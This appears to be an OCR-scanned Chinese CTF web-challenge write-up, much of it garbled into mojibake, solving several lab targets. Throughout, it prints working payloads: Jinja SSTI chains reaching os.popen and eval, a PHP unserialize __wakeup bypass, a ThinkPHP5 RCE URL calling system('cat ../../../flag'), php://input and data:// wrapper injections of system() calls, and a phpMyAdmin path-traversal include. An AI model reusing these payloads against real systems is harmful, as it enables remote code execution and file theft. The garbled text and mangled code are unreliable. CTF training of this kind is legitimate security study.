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URL http://111.198.29.45:37437/49 not found



FRER

Smarty
N
//

s{ilzll.jnin("ab"]} r’/‘

| =3
X Unknown
/
=N

/ a{*comment*}b
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() 111.198.29.45:37437/{{"._class_.__mro_[2]._subclasses_()}}

Bt

URL http://111.198.29.45:37437/[<type 'type'>, <type
'weakcallableproxy'>, <type 'weakproxy'>, <type 'in
'basestring'>, <type 'bytearray'>, <type 'list'>, <type

FR R
SRS B U iy & AT -

it LI B - 1R B X K <type ‘object’ >—>F T R—>IK Ty & AT BUE A B AR B
JUANBEART5 ¥



class REIZEAFTJE AT &

mro R B —MIEXT BT ARKIERTTH, TIETEMAT I 1% R 04 I AT

base R ZN K4 AKIFS /| __base M mro_ #HREFRIRIELK

subclasses GANHIZRAMRE T FRIISIH, XATTEIRE—AZF R T H KK 5] 1 51%&
init 28 MR85 1k 7512

globals & & R4 /LR F 5] A

QPR R EZ L ESTE ¥

{{''. class_ }H(FiNTFRIZ)

() 111.198.29.45:37437{{".__class_}}

URL http://111.198.29.45:37437/<type 'str'> not found

Q)FRER—RWZRPHEE___mro___

{{'"._class__. mro__ }}

(#) 111.198.29.45:37437({{".__class__.__mro_}}
T e e s ey e

URL http://111.198.29.45:37437/(<type 'str'>, <type 'basestring'>, <type
'object'>) not found

o class.mro FREV a1 KX R B A gk A

o pythonHENRE —NEM__mro__, XANEHERE—MupleXt R, XNMNREET LIEN KA % AKES, tupled LR BIRF
BAMRO (Method Resolution Order) S35+

o MEERAAT LRI NF B 2% B strdk A& F I /=& basestring->object

(B)F AT AHGI FH—ENZF K H¥E__ subclasses_ ()

{{''. _class . mro_ [2]._ subclasses_()}}




() 111.198.29.45:45632/{{". _class__.__mro_[2]._subclasses_()}}

URL http://111.198.29.45:45632/[<type 'type'>, <type 'weakref'>, <type
'weakcallableproxy'>, <type 'weakproxy'>, <type 'int">, <type
'basestring'>, <type 'bytearray'>, <type 'list'>, <type 'NoneType'>, <type
'NotImplementedType'>, <type 'traceback'>, <type 'super'>, <type
'xrange'>, <type 'dict">, <type 'set'>, <type 'slice'>, <type 'staticmethod'>,
<type 'complex'>, <type 'float'>, <type 'buffer'>, <type 'long'>, <type
'frozenset'>, <type 'property'>, <type 'memoryview'>, <type 'tuple'>, <type
'enumerate'>, <type 'reversed'>, <type 'code'>, <type 'frame'>, <type
'builtin_function_or_method'>, <type 'instancemethod'>, <type
'function'>, <type 'classobj'>, <type 'dictproxy'>, <type 'generator'>, <type
'getset_descriptor'>, <type 'wrapper_descriptor'>, <type 'instance'>, <type
‘ellipsis'>, <type 'member_descriptor'>,\<type 'file'>} <type 'PyCapsule'>,
<type 'cell'’>, <type 'callable-iterator'>, <type 'iterator'>, <type

X BIRATRZEAfile BB, EHE40NMIE.
HBR=. Ekflagh XL MPTENE

PR

(1) BEEIFREFoshE:

{{''._class__. mro_ [2]._ subclasses_ ()[71]._ _init . globals_['os'].listdir('."')}}

(#) 111.198.29.45:45632/{{"._class_._mro_[2]._subclasses_ ()[71].

URL http://111.198.29.45:45632/['fidg', 'index.py'] not found

(2) ostBREwarnings.catch_warningstit J:#warnings.catch_warningst&iit

{{''._class__ . mro_ [2]._ subclasses_ ()[59]. init_.func_globals.keys()}}



FE8E — 111.198.29.45

URL http://111.198.29.45:45632/[ 'filterwarnings', 'once_registry',
'WarningMessage', '_show_warning', 'filters', '_setoption', 'showwarning',
'_all__','onceregistry','__package__', 'simplefilter', 'default_action',
'_getcategory','__ builtins__', 'catch_warnings','__file_ ', 'warnpy3k', 'sys’,
' _name__', 'warn_explicit', 'types', 'warn', '_processoptions',
'defaultaction','__doc__', 'linecache', '_OptionError', 'resetwarnings',
'formatwarning', '_getaction'] not found

] LAE 2| linecache B %, ostEIRELIEI
B Eflag 1T

{{''._class__. mro_ [2]._ subclasses_ ()[59]._ _init__.func_globals.values()[13]['eval']('__import__ ("os").pope

n("1ls").read()"')}}

FEE — 111.198.29.45

URL http://111.198.29.45:45632/fldg index.py not found

XERAIZE134Z_ builtins__
#E 3 F_ builtins_
builtinsBl 25| H, Pythonfe/F—EJE3), BMSERRF RS NRBREZBITZHMELBmERBINES T, FbuiltnsHIAH SN, &

TEALFERAS BRI L, P DA B 49 F 51 A B

$BI: HEfag:
W Hfile k& A flag

{{'""._class__._ mro__[2].__subclasses__ ()[40]('fl4ag').read()}}

111.198.29.45:45632/%7B%7B"_class__._mro_[2]._ subclasses

URL http://111.198.29.45:45632/ctf{f22b6844-5169-4054-b2a0-
d95b9361cb57} not found
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MEMES: BRWEAIKE:

[ZHFK-EHrssti]
https://bbs.ichungiu.com/thread-47685-1-1.html?from=aqzx8
[I\NZ 2 X flask AR VE]
https://www.freebuf.com/column/187845.html
[python-flask-ssti (18R IE N I T )]
https://www.cnblogs.com/hackxf/p/10480071.html

[ 18 R A
http://www.manongjc.com/detail/12-tithjiqgqzjujem.html

—.Web_php_unserialize

First fig it &8 2% -

REMZAEBRITRNELEERNS, MERFILHAR
HRITIAMIR, RGWEH, 24

<?php
class Demo {
private $file = 'index.php';
public function __ construct($file) { //EAKSEATIKZEFilelBEH
$this->file = $file;

}
function _ destruct() {

echo @highlight_file($this->file, true); //demoSEFIHHERET, SRz 3CHFTIRM KN

}

function __ wakeup() {
if ($this->file != 'index.php') {
//the secret is in the fl4g.php
$this->file = 'index.php';

if (isset($ _GET['var'])) {
$var = base64_decode($_GET['var']); //ffHbase64#t TN
if (preg_match('/[oc]:\d+:/i"', $var)) { //IEWILE: BELEF Noskc: ERKEHE (211
die('stop hacking!');
} else {
@unserialize($var); //&RFF5tk
b
} else {
highlight file("index.php");

bk, REFBER=AAREESR:
(1) 1M T base64# 47 hna

(2) ZifRIEMER

(3) #AT T RHINFRFFIL

% R A

\i:
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<?php
class Demo {
private $file = 'index.php';
public function _ construct($file) {
$this->file = $file;

}
function _ destruct() {

echo @highlight file($this->file, true);

}

function _ wakeup() {
if ($this->file != 'index.php') {
//the secret is in the fl4g.php
$this->file = 'index.php';

$A = new Demo('fl4g.php');

$C = serialize($A);

//string(49) "0:4:"Demo":1:{s:10:"Demofile";s:8:"fl4g.php";}"

$C = str_replace('0:4', '0:+4',$C);//%¢idpreg_match

$C = str_replace(':1:', ':2:',$C);//%iTwakeup

var_dump($C);

//string(49) "O:+4:"Demo":2:{s:10:"Demofile";s:8:"fl4g.php";}"
var_dump(base64_encode($C));

//string(68) "TzorNDoiRGVtbyI6Mjp7czoxMDoiAERIbW8AZm1sZSI7czo40iImbDRnLnBocCI7fQ=="

e
https://blog.csdn.net/qq_40884727/article/details/101162105
FIt LASRAS fiff i e

TzorNDoiRGVtbyI6Mjp7czoxMDoiAER1bWBAZm1sZSI7czo40iImbDRNLNBocCI7fQ==

B NRGET %, FrUAEURLAHHIE:

http://111.198.29.45:52568/index.php?var=TzorNDoiRGVtbyI6Mjp7czoxMDoiAER1bW8AZM1sZSI7cz040iImbDRnLnBocCI7fQ==
?%@Jﬂag

NN B Ol 111.198.20.45:52568/indexphp’ X

<« c @ © A& 111.198.29.45:52568/index.php? e
BEyamersiss @ wixrtik: E=pmu O srms

<Yphp
$flas="ctf blTbddcT-34c9-4526-2fa8—-a0794a1 97015} ”;
D

=.php_rce
First /% i B 2% .
R R R

http://111.198.29.45:51121/index.php?s=/index/\think\app/invokefunction&function=call user_ func_array&vars[0]=sy

stem&vars[1][ ]=php%20-r%20%27system(%22cat%20../../../flagh22) ;%27


https://blog.csdn.net/qq_40884727/article/details/101162105

(#) 111.198.29.45:51121/index.php?s=/index/\think\app/invokefunction

flag{thinkphp5_rce} flag{thinkphp5_rce}

(RIEREFS, W, RNaiEAt 42X 45==)
Second ] N A :

BN E, BENESRREN:

ThinkPHP5.x rec &4 #T 5 & 8L«
https://blog.csdn.net/qq_40884727/article/details/101452478

ThinkPHP5 RCEJR A E I & 4+ #rhttps://www.freebuf.com/vuls/191847 .html

1.PHP [ strip_tags() &

SE A

strip_tags() B ¥ F £ FFE K HTML. XML LK PHP K345 .
HR: ZRBUAKSFE HTML HR. XA LZEET allow S 843 .
HR: ZREE DR RER.

2.PHP explode() & %

& SUFIFH

explode() R EIE 2R/ R ITHONEA .

HRE: “separator’ SRR T FHFE.
W ZRBRE RN

-

explode(separator,string, limig)

k£ ik

separator WE., AEEMESEIFRE.

string WE. BEGEINFRS,

limit B, MEFMERNSATRMBE.
FIREAY(E:

s XF 0-EEIESES imit T EREEE
o JTF 0 - BEESRT RGN —limit T TEMIMIFTE TENEE
s 0 - EEEE—TEMNEE

3.substr()


https://blog.csdn.net/qq_40884727/article/details/101452478
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EMTAE
substr() 75ERI A EFHEM start FARFEHRIEEHBENFMN.

Bk

stringObject.substr(start length)

t B

start | . EHEEAFEORETHR. AARNE. NRENY, PLZS2EFBEMAFRENETFAREENUE. bR
i, [ EFHERRE—TFH, -2 BHEESTFE, D,

length | Pli. FEPNFHHR. DAREE. MREBTZSH, BLEBM stringObject MG BT ERMTFS.

4.PHP Itrim() & %t

EXHIRE

Itrim() BT SENNZE A FHEEETELFH.
LEELE .

rtrim() - BIRFHBERMNEAFHEEMTE L FH,
trim() - BIEFFEFNNEAFHREETELFHE.

Bk

ltrim{string,charlist)
-

B ) 3

string . AEERENFHE,

charlist ik, MEMAFHEDRRELER, NEESWESH, VBB TIMEFH:
"0 - NULL
"Nt - ERF
"' - 44T

"“x0B" - EEHIRFT
“v* - Bl
R
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First fig i 72 -



TitE—: RN
HAEEMRNE, KIE—BPHPHARD, X idtfT#it:

C @ © & 111.198.29.45:34527 28 ...
Byamsrss @ wErk BDsmmu © suras

<php

show_sourcel_ FILE ).

echo $_GET[ hells ];

tpage=} GET[ page’ ]:

while (strstr(jpase, “php:/"0) |1

tpage=str_replace"php://", 7", $paze):
}
include (fpage);
T

RILAR T RKephp:// & Bl E 1,
5 F strstr() B %

PHP strstr() B %k & XA strstr() REIE R FRBER —FRHBEPRE—REI,
WE: ZRENAADNEBE. WFHIT ARG RDERER, HHEM stristr() R

5375

strstr(string search, before_search)

E 5| Hiik
string BE., MEHNENTRE,
search B, WEFERNFRS.

MRESHERYF, WERCEILHTFTHEN ASCI ENFH.

before_search ik, ERIAMER "false” BITRRIE.
MBRIFER "true", TIEIEE search 88 E—/RE I ZINEREES.

PR 3 A R xR /NS Uk, Bt AR iE —NURL:

http://111.198.29.45:34527/?page=PHP://input



A4 A% B input g % -

php://input

php://input 2 TR LATARIERARIGEIERN RIER. POSTIERMIERL T, =FER php://input &L
B S$HTTP_RAW_POST_DATA , EAEMKEITIFER phpini 38<. MH, EENERLT
$SHTTP_RAW_POST_DATA RAIANEFEIRR, LEBGE always_populate_raw_post_data BEBEE/PHIA
Z. enctype="multipart/form-data" B9B& php://input EICEH,

Note: 7£ PHP 5.6 Z B php://input FTFAVELIER REEIREN—/R: BUBM T ZIF seek R1E. Fid,
{R#HF SAPI B9, IEREEURBRENR, ERMITHSZ—1 php://input EiERHEHIE
B, BRERT, ZHERRAZHN POSTER, MARREMIBEKAI, tEU PUT Ei#F PROPFIND,

2 JG Flburpdli, BAPOSTER

fephp iR A SR e &, T EURTIN T =07 R e
1) Hiphpifiti % [T
phpf 3L T 32 TMAT S A & AR system(), exec(), passthru(),

system()

JERY: string system (string command [, int return_vat])

system( MR A EEF PNERE, EWITHEN TS, FHAERNSR. B 0S8R,
F BB S HATIE RS

-+

AR okl

system("/usr/local/bin/webalizer/webalizer),

JRSCEERE:  hitp://www.jquerycn.cn/a_26997


http://www.jquerycn.cn/a_26997

PATE 4, RIS B4gisisish3r3.php

[ Dashboard TTarget T

Xy T Intruder I Repeater T Sequencer T Decoder T Comparer T Extender T Project options T User options ]

1 = |3 = [ 4 =5

Send Cancel <|v >

Request

Raw | Params | Headers | Hex | XML

Target: hitp:/111.198.29.45:34521 7 @
Response

Raw | Headers | Hex | Render

GET /?page=PHP:/finput HTTP/M .1 'y #00TT00"={</span=<span style="color: #0000BB™>__FILE__</span=<span style="color; #007700"=);<br &
Heost: 111.198.29.45:34527 ™ I=echo&nbsp;</span=<span style="color: #0000BB">$_GET</span=<span style="color:
User-Agent: Mozilla/5.0 (Windows NT 6.1; Wing4; x64; nv.72.0) Gecko/20100101 Firefox/72.0 #007700"=[</span=<span style="cclor: #DD0000"="hello"</span=<span style="color: #007700™=];<br
Accept: texthtmi hitrrd+xm, i mil,q=0.9,imag: p**0=0.8 [=</span=<span style="color: #0000BB™>$page</span><span style="color: #007700 >=</span=><span
Accept-Language: zh-CN zh;q=0.8 zh-TW,g=0.7 zh-HK;g=0.5 en-US;q=0.3,en;q9=0.2 style="color: #0000BB™=§_GET</span=<span style="color: #00770{0">[</span=<span style="color:
Accept-Enceding: gzip, deflate #DDO000™="page’ </span=<span style="color; #007700"=];<br />while&nbsp;(</span=<span style="cclor:
Connection: close #0000BB =strstr</span><span style="color: #M07700">(</span=<span style="color:
Upgrade-Insecure-Requests: 1 #0000BB"=§page</span=<span style="color: #007700">,&nbsp;</span=<span style="color:
Content-Length: 25 #DD0000™="php:/f"</span=<span style="color: #0077007=))&nbsp;{<br
/=&nbsp;&nbsp;&nbsp;&nbsp;</zpan=<span style="color: #0000BE">$page=/span=<span style="color:
<7php systemi #OTT00">=</span==span style="color: #0000BB"=str_replace</span=<span style="color:
#OOTT00"=(</span=<span style="cclor: #DD0000"="php://"</span><span style="color:
#00TT00"= &nbsp;</span=<span style="color: #DD0000">""</span=<span style="color:
#00TT00"= &nbsp; </span><span style="color: #0000BB">$page</span==span style="color:
#00TT00™=);<br /=}<br /sinclude{</span=<span style="color: #)000BB">8page</span=<span style="color:
#00TT00"=);<br /=</span><span style="color: #M000BB">7&gt;<br /></span>
</span=
dcodew
index.php
phpinfo.php
: :
v |
® [;J u u Type a search term 0 matches ® u u u Type & search term 0 matches
BN 2
<?php system("cat fl4gisisish3r3.php") ?>
Request Response
Raw | Params | Headers | Hex | XML Raw | Headers | Hex | Render
GET /?page=PH put HTTR/1.1 & #OTT00">(=/s pan==span style="color: #M000BB™>__FILE__</span==span style="color: #007700"=);<br 'Y
Host: 111.198.29.45:34527 ™ I=echo&nbsp;</span=<span style="color: #0000BB">$_GET</span=<span style="color:
User-Agent: Mozilla/5.0 (Windows NT 6.1; Wing4; x64; nv:72.0) Gecko/20100101 Firefox/72.0 #007700=[</span=<span style="color: #DD0000™>"hello'</span=<span style="color: #007700"=];<br
Accept: text/htm] i e, icati mil;g=0.9,imag pt*q=08 [=</span=<span style="color: #0000BB">$page</span=<span style="color: #007700 >=</span=<span
Accept-Language: zh-CN zh;g=0.8,zh-TW;g=0.7 zh-HK;g=0.5,en-US;g=0.3 en;g=0.2 style="color: #0000BB">$_GET</span=<span style="color: #007700">[</span>=span style="color:
Accept-Encoding: gzip, deflate #DD0000™=' page' </span><span style="color: #007700"=];<br />while&nbsp;(</span==span style="color:
Connection: close #0000BB =stretr</span><span style="color: #007700">(<=/span=<span style="color:
Upgrade-Insecure-Requests: 1 #0000BB™=$page</span=<span style="color: #007700"=,&nbsp;</span=<span style="color:
Content-Length: 45 #DDO000"="php:/"</span==span style="color; #D0T700"=))&nbsp;{<br
/>&nbsp;&nbsp;&nbsp;&nbsp;</span=<span style="color. #0000BB =8page</span=<=span style="color:
<7php system("cat ﬂ-i—glsisishara.phph T= #OTT >=</span=<span style="color: #0000BB">str_replace</span><span style="color:
— #0TT00">(=/s pan==span style="color: #DD0000™>"php:/"</span><span style="color:
#0TT00"= &nbsp;</span=<span style="color: #D00000™>""</s pan><span style="color:
#007700"=,&nbsp; </span=<span style="color: #0000BB">$page</span=<span style="color:
#00TT00"=);<br /=}<br /=include(</span=<span style="color: #0000BB"=$page</span=<span style="color:
#OTTO0"=);<br /></span><span style="coler: #0000BB">?&gt;<br /></span>
</span=
</code=<7php
Sflag="ctf{876a5fca-2608-4cbd-9075-46f0c89475d2),
7=
: g
% 8
P S I Y R P, P P S I (O Y R [ P,

B Zlflag:

BT datad/PE AT S FI A



BT AR E T A R

files ==572 ofi/fon off/fon Hile=file.//D./soft/phpStudy MWW/ phpoode bt
php./filter ==572 ofi/fon off/fon Hile=php:/filter/read=convert.basebd-encode/resource=./index.php
php//input ==572 ofi/fon on Hile=php://input [POST DATA]  <?php phpinfo{)?=
zips ==572 ofi/fon off/fon Hile=zip///D./soft/phpStudy MWWW/ile zip%2 3phpoode bt
o Hile=compress bzip2://D./soft/phpStudy MWW Hile bz2
compress bzip2.// ==52 offfon off/on [or]

Hile=compress bzip2.// file bz2
Hile=compress zlib://D:/soft/phpStudy MWW Aile.gz
==52 offfon off/on [or]
Hile=compress.zlib.// HAile.gz
Hile=data.//text/plain,<?php phpinfo{)?=
[or]
Hile=data://text/plain bazetd PDOwaHAgcGhwaW5smbyagpPzd=
==52 on on e -
Hile=data:text/plain,<?php phpinfol)?=
[or]
?file=data:text/plainbasetd PDYwaHAQcGhwaVWSmbyagpPzd=

compress.zlib/

data://

o php5.2.0#2, FIERMBBERIFHEERN, FEHTEERMEI. WRENNESRERPHPRIE, Mot RiE
o 1§ f 77k data://text/plain;base64,xox(base64 4w il f5 155 )

F i :
1§ F 772 data:/ftext/plain;base64 ,xxx(base64 4 il J& HIHHE)

<?php system ?>

& URL:
BT BIPHPARHS K«

<?php system ?>

TEONER:
http://111.198.29.45:34527/?page=data://text/plain/;base64,<?php system("1ls")?>

J& H I PHPRIZ 17 base64 4w il :
view-source:http://111.198.29.45:34527/?page=data://text/plain/;base64,PD9waHAgc31zdGVtKCIscyIpPz4=

PAT:

C
; P b b LRl L e R i hittp://111.198.29.45:34° X m—L

&« C @ # view-source:http;//111.198.29.45:34527 /?page LTI # ¢ @0 @ g @
Byassss @ mxrre DsEma O e D#s

<{coded><span style="color: #0000007>

<span style="color: #0000BB" &1+t Pphp<br /rshow_source</span><span style="color: #00T700">({/spe
</span>

</code>fldgisisish3r3. php

index. php

phpinfo. php

W& T — -



http://111.198.29.45:34527/?page=data://text/plain/;base64,<?php system("cat fldgisisish3r3.php")?>

PHP#t4Tbaseb44mhig 5 :

http://111.198.29.45:34527/?page=data://text/plain/;base64,PDO9waHAgc31zdGVtKCIjYXQgZmwozZ21zaXNpc2gzcjMucGhwIik/P|

—nnsl
X 111.198.29.45:34527f7p. X http:/f111.198.29.45:34° X

<« Cc @ |&’ iew-source:http:;//111.198.29.45:34527 /7 page gkl {?‘ I 0 @ O ® %
Bymsrsus @ e O=rm O sxms D EshaE L

{code><span style="color: #0000007>

<{gpan style="color: #0000BE">&1+t: Yphp<br /rshow_source</span><span style="color: #0077007>(<{/span><s
{/span>

</code><?php

$flag="ctf{876abfca—96c6-4chd—9075-46F0c89475d2} "

2>

Second > N A

AENBFCEBE T HELES.
1.strstr() &k $

2.system() &k $

3.PHP:/flinput

4 D LR i
+..ics-06
First ﬁﬁ‘jjﬁﬂ :

BHARMEAANMI, KIEXANPTHAT MES, A #75 FETR -

gy = - x [ x B X

&« X @ Q, 111.198.29.45:53246/index.php?id=1 In @ &
B wimeErss @ FELk Dspm O srew ~

=FaiRERG

FIFR

BEFEE  2020-02-05 00:00:00 - 2020

ey




FIBurp AT 4R, B AT LU A A

! Burp Suite Community Edition v2.1.04 - Temporary Project

Burp Project Intruder Repeater Window Help

[ Dashboard T Target T Proxy T Intruder T Repeater T Sequencer T Decoder T Comparer T Extender T Project options T User options ]

J Intercept T HTTP history IW&bSuckets history I O ptions ]

f Request to hitp:/if111.198.29 45:53246

[ Forward J [ Drop J ( Intercept is on 1 Action

_[ RawT Params T Headers T Hex ]

GET /index.phpZid=] HTTP/1.1

Heost: 111.198.29.45:53248

User-Agent. Mozilla/5.0 (Windows NT §.1; Wing4, x84, rv.72.0) Gecka/20100101 Firefox/72.0
Accept: text/htmi application/xhtmi+xmi application/xml,g=0.9,image/webp,*/*;q=0.8
Accept-Language: zh-CM zh;g=0.8,zh-TW,g=0.7 zh-HK;3=0.5,en-U5;g=0.3 en;g=0.2
Accept-Encoding: gzip, deflate

Connection: close

Upgrade-Insecure-Requests: 1|

Burp Project Intruder Repeater Window Help

[ Dashboard T Target T Proxy TJntrude.r T Repeater T Sequencer T Decoder T Comparer T Extender T Project options T User options ]

1 % |

Target | Positions T Payloads T O ptions ]

@ Payload Positions

Configure the positions where payloads will be inserted into the base request. The attack type determines the way in which payloads are assigned to p

Aftack type: [ Sniper

GET findex.php?id=§1§ HTTP/1.1

Host: 111.198.29 4559948

User-Agent: Mozilla/5.0 (Windows NT 6.1; Wingd; x64; nv:72.0) Gecko/20100101 Firefox/72.0
Accept: text'html application/x htmil+xml application/xml;g=0.9 image/webp,**.q=0.8
Accept-Language: zh-CN zh;g=0.8 zh-TW.g=0.7 zh-HK;g=0 5 en-US5;q=0.3,en;q=0.2
Accept-Enceding: gzip, deflate

Connection: close

Upgrade-Insecure-Requests: 1




A AATSE 3000 %7 CGefz) » BERKNBTE LB —Moasc b, RS ABurp, FHIRERH

B! Burp Suite Comrunity Edition v2.1.04 - Temporary Project

Burp Project Intruder Repeater Window Help

[ Dashboard TT&rget T Proxy T Intruder T Repeater T Sequencer T Decoder T Comparer T Extender | Proj

1 = |2 = | ..

[ Target T Positions TPaybads T O ptions ]

@ Payload Sets

ou can define one or more paylead sets. The number of paylead sets depends on the attack type defined in the
type can be customized in different ways.

Payload =et: |_1 |'] Payload count: 3,001

Payload type: lSimple list |'r] Request count: 3,001

@ Payload Options [Simple lisf]
Thizs payload type lets you configure a simple list of strings that are used as payloads.

Pazte

Load ...

Remove
Clear

= th th & W = o

i
£
i
=
o

m

L A

Add from list ... [Pro version only]

2333MIANAEEA —HE, FEAE LR A

W Intruder attack 2

Aftack Sawve Columns

J Results T Target I Positions I Payloads I O ptions ]

| Fiter: Showing all tems

Request | Payload | Status | Error | Timeout | Length ¥ | Comment
4 2333 200 O S a—
0 200 O O 1866

1 2330 200 O O 1866

2 2331 200 O O 1866

3 2332 200 O O 1866

5 2334 200 O O 1866

6 2335 200 O O 1866

7 2336 200 O O 1866

8 2337 200 O O 1866

3 2338 200 O O 1288

10 2339 200 O [ 1888

11 2340 200 O O 18ss

FEURLH H)IDH 5N

http://111.198.29.45:53246/index.php?id=2333




5 3flag:

&« ¢ @ © & 111.198.29.45:53246/index.php?id=: BE e iy DO @® t
Hamssss @ sk SsEmr O =5ak

4 i X el

=FaiRERG

FIFR

HEFEE

cyberpeace{1c6beb8eldb434a213c00ch7779075c8}
-_-E__

75 .warmup

First N2 53 #7:

HAEREUEERY, KA —NXHEHphpik, EURLTHE, BEFENAE

- R mr e B e e ——

0 < > |o111.198.20.45

2 <html lang="en"=>
=head=
<meta charset="UTF-8"=
=meta name="viewport" content="width=device-width, initial-scale=1.8"=
<meta http-equiv="X-UA-Compatible" content="ie=edge">
=title=Document=/title>

</head=>
+ =body=
) <!——sgurce.php—-
T ————e,
2 <br=<img src="https://i.loli.net/2018/11/81/5bdb@d93dc794. jpg" /=</body=>
=/html=

T PTG KRR — B AR it .



<?php
highlight file(_ FILE_);
class emmm

{
public static function checkFile(&$page)

{
$whitelist

if (! isset($page) is_string($page)) {

echo

return false;

if (in_array($page, $whitelist)) {

return true;

$_page = mb_substr(
$page,
0,
mb_strpos($page .

)

if (in_array($_page, $whitelist)) {
return true;

)i

echo

return false;

if (! empty($_REQUEST[ D)
is_string($_REQUEST['file
file

B LA R B B -

e (1) isset




isset — il AL &2 % DB E I HAE NULL

% BA

isset ( mixed $var [, mixed $... 1 ) : bool

HUTEEE9E, HEAE NLL,

MBELEEM unset() BT — 1 EEZE, BISAHEE isset(), FH{EM isset() ML —MEIZE R nuLL
HEEE, Y8R0 FALSE, BIRIEEEMNE null 25 ("10") HASETF PHP A NULL BE.

MR—RENBT2H, B4 isset() AFEZHSHILURIZENEE TRUE HHEEIRMNEESR, g
BERFIRENESNMEIENFLE.

o (2) in_array

EMTAE
in_array() RBEEENADETFEREENE.
HB: UIR search BUEFHEE type BHIIRER TRUE, IIRERS NG,

18i&

in_array(search,array, type)

L Hik

search W, MEEEHAETENE.

array GE., MEETHERNLAE.

type ik, MREIGEIZSHHR true, NEERENEES SEMNENSERETER.
%8R

MBLETERE search TFETEUER array FNEE true, MBHE=T2H8E N true, R NEEREFETHATRBHIERRS
STEEERNAIRE true,

MRGFEMAEPRISY, HYEM false,
AR IR search BURTHE, H type BEIRER true, NIERXDANE,

e« (3) mb_substr



REUGER 7 717 5

AR

mb_substr ( string $str , int $start [, int $length = NULL [, string $encoding =
mb_internal_encoding() ]] ) : string

RBEFRBAT—TBSFTIREN substr() BE, (IEEM str WFBRMIEH#TIHTR. F—TFHN
fIE=Z 0, F_TFANMER 1, DULEHE.

S

str

MIZ string PIZENFFHE.

start
WK start AERE, ROENFHFHZM str 3 start UAEFIE, M0 FRiTH. #76
¥, FHE ‘abedef, (IH 0 NFRZE o, (iE 20FHFE ¢, DULEHE,
IR start 2R, BENFHFBHEMN str RELE start MFHFFIAN.

length
str PREANSAFHY. NREH 7 WSHAEEANT NULL, N=EEIFFBRE,

encoding

encoding SEAHFHEIE. MRS, WERAFRED.

e (4) mb_strpos



BERFRHRERS N FREFERHRGALE

AR

mb_strpos ( string $haystack , string $needle [, int $offset = 0 [, string $encoding
= mb_internal_encoding() ]] ) : int

&% string £—7 string FEVREIAMIE .

ETFRHERT—TSFHREM strpos() #RfE. B—ITFRHOMER 0, FTFHOMER1, Mt
3

B

haystack
BT string,

needle

# haystack REHXMFRH, #strpos() FRANE, HFNEFSHUBFRHONNFE.

offset
RRUBNREE. NRLHRMZSE, B2(EM 0. REW offset SMNFRHBREAIESIT.

encoding

encoding ZEAFHEIE. MRS, WERAFRED.

e (5) urldecode



fERS E4mAD ) URL 75 5

iR

urldecode ( string §str ) : string

BIRLEHNEREFHEPOEIM %1y, NS (+) WRBE—TTHEFE.

B

str

BFEHIFAS.

REE

BEIRIBEFRS.

ZEx B A AT H it
checkfile() &

o ENT—AH%H: source.phpflihintphp, ¥|Wi$pageBNE. RENFRH.

o EH—: HWiSpageRBHEALHE, EHFHERFrue;

o FM_: FEElpageFSHMIEMN, $_pageBitiSpage ] SEIMIARTL, REFHAWS pagefBEALHRE, HHAEMIR
[Eltrue;

o EM=: MR E—PAHMRM, W XHERETuldmiLi /g, K AulfEtd LRSS 32 83T —IREG . FIEN IR
BERINEE, BT BA#Echeckfileik Eltrue

514
& N ?file=hint.php%253f.../../...[...[..I...[...I.. [fffflllaaaagggg, B NS4 & BB — K, Billpage B N hint.php_PagekifEly
hint.php?../...[.../...1...[...1...|.. [fffflllaaaagggg,s& J5 L EL 19 5 &0 T A hint. php 2 B 75 1 44 5 BLiR [Htrue »

BEB A, R
https://blog.csdn.net/weixin_44677409/article/details/93300823

Second f# BT T2 -
BRI EERE, RUBRSIHAE, BIENEWEURLEEEE:

http://111.198.29.45:56657/source.php

TP RIS IR AR, RAE LA, BAOITFEME —PURLGE XA
BHHEVH—T

http://111.198.29.45:56657/hint.php


https://blog.csdn.net/weixin_44677409/article/details/93300823

111.198.29.45:56657/hint.php

flag not here, and flag in fiffilllaaaagppg

KRIOK, LAV, {EfagWBEAEXE, RFEX MagiiteX, RATETHIE
http://111.198.29.45:56657/source.php?file=hint.php?../../../../../ffffllllaaaagggg
BE|FR: flag{25e7bce6005c4e0c983fh97297acbe5a)

) A
inelude $_REQUEST[ 'file'];
exit;
} else {
echo "<br><img sre=\"https://i.leli.net/2018/11/01/5bdb0d93dec794.jpg\" />";

}
> flag{25eTbce6005c4e0c9831b97297ackbesa}

KA VIXRRTE—A B AR S S E
phpmyadmin 4.8.1 @2 348 &% (CVE-2018-12613)

+.lottery
First V‘] %‘iﬁm :
HhRBE—BMY RIAFErobots.txt, A, EFE

(FRix B A Rkali T —233# T Buniscan, X T EK%IRBRXALKRE
HJ: https://blog.csdn.net/qq_37367124/article/details/88371447 )

|
| Check robots.txt:

| [+] U
| [+] Dis

SR J5 25 B robots. txtfr] P &
B JdIE" x| ©as X | @ 111.198.29.45:57807/ro' X | +
(— = @ @ @ 111.198.29.45:57807 robots.txt

N Kali Linux “ Kali Training “ Kali Tools " KaliDocs "% KaliForums “ NetHunter [jlj Offensive

User-agent: *

Disallow: /.git/

Hsix B RN T IXE B K ) B R gitttis, & B &AL KB Mwriteup, RAEXAMEE, FGitHack (? REAFHE, AART
) g, BIEF. ERNXEE, FEECLLTHE—, AL TRICL%E T IHEL.

GitittiR#RF: gitR—ENAIHIMFRSL.


https://www.cnblogs.com/leixiao-/p/10265150.html
https://blog.csdn.net/qq_37367124/article/details/88371447

| hooks 2019-03-30 11:00 0=

|

| info 2019-03-30 11:09  Iff=

| objects 2019-03-30 11:09  If$=

| refs 2019-03-30 11:09  Iff=

| | config 2019-03-30 11:09  3Ti% 1KB
|_| description 2019-03-30 11:09  f% 1KB
[ ] HEAD 2019-03-30 11:09  3Ti% 1KB

hook: 71 —sheel#h 5 .  info: I E KIS B object: 77T A githt S I 5 refs: FE IR 3z hash i J5
config:github B B 15 & description: BEMIEREE, FELHQitwebZEgitFt s R4 H

HEAD:B5s Ellref51 A, BB 3R] T —Rcommiti B — Ik Fa & 1E

WHHNZA 5%: https://blog.csdn.net/qq_36869808/article/details/88909961

AT IRED T o
MRIEX AR A RN, BAVEE ERER R WA B SHEER- BN NT LT HEE, FrURMNZEE S RE M E
AN BT T A 2. N B B AN R SR I L 6 e R T B

£ frapi.php k2 < AR :

function buy($req){
require registered();
require min money(2);

$money =% SESSION[ 'money'];
$numbers = $req[ 'numbers'];
$win numbers = random win nums(); |
$same count=0;
for($i=0; $i<7; $i++){|
if($numbers[$i] == $win numbers[$i]){
$same count++; 2

}
}

switch ($same count}) {

Hrh $numbers 3k B F P json#i A {“action”:“buy”,“numbers”:*1122334”}, WHEMAEHIERA. $win _numbers 7 BENLA: B+
FRE.

